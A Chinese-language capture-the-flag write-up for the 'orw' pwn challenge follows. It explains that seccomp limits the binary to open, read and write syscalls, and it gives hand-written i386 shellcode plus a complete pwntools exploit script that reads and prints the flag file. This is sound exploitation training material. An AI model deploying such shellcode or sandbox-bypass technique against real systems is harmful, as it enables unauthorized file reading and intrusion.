checksec:
題目明示shellcode,用戶輸入后就會直接跳轉到輸入的位置
用pwntools的shellcraft生成的shellcode打不通,原因就在於main函數起始位置的orw_seccomp函數
不是很懂這個函數的操作,最后看了別人的博客才明白seccomp是通過prctl函數實現的一種安全機制,該模式下只允許少量的系統調用。
詳情見https://www.jianshu.com/p/75e157cea215
使用seccomp-tools工具查看可用的系統調用,下載地址:https://github.com/david942j/seccomp-tools
open,write和read都可用,所以考慮用這三個函數讀取並顯示flag文件。
接下來構造shellcode。
1 xor ecx,ecx; 2 xor edx,edx; 3 push 0x0; #字符串以\x00結尾 4 push 0x67616c66; #flag 5 mov ebx,esp; 6 mov eax,0x5; 7 int 0x80; 8 #open 9 mov ebx,0x3; 10 mov ecx, 0x0804A0A0; #直接寫到shellcode下面的地址 11 mov edx, 0x40; 12 mov eax, 0x3; 13 int 0x80; 14 #read 15 mov ebx, 0x1; 16 mov ecx, 0x0804A0A0; 17 mov edx, 0x40; 18 mov eax, 0x4; 19 int 0x80;
#write
read函數的fd之所以是3,是因為默認情況下,0,1,2這三個句柄對應的是標准輸入,標准輸出,標准錯誤,系統進程默認會打開0,1,2這三個文件描述符。所以通常我們open的返回值是從3開始的
完整exp:
#!/usr/bin/python from pwn import * from LibcSearcher import * #a=remote("node3.buuoj.cn",29862) a=process("orw") elf=ELF("orw") context(arch='i386',os='linux',log_level='debug') shellcode = asm(''' xor ecx,ecx; xor edx,edx; push 0x0 push 0x67616c66; mov ebx,esp; mov eax,0x5; int 0x80; mov ebx,0x3; mov ecx, 0x0804A0A0; mov edx, 0x40; mov eax, 0x3; int 0x80; mov ebx, 0x1; mov ecx, 0x0804A0A0; mov edx, 0x40; mov eax, 0x4; int 0x80; ''') print len(shellcode) a.recvuntil("Give my your shellcode:") payload=shellcode a.sendline(payload) a.interactive()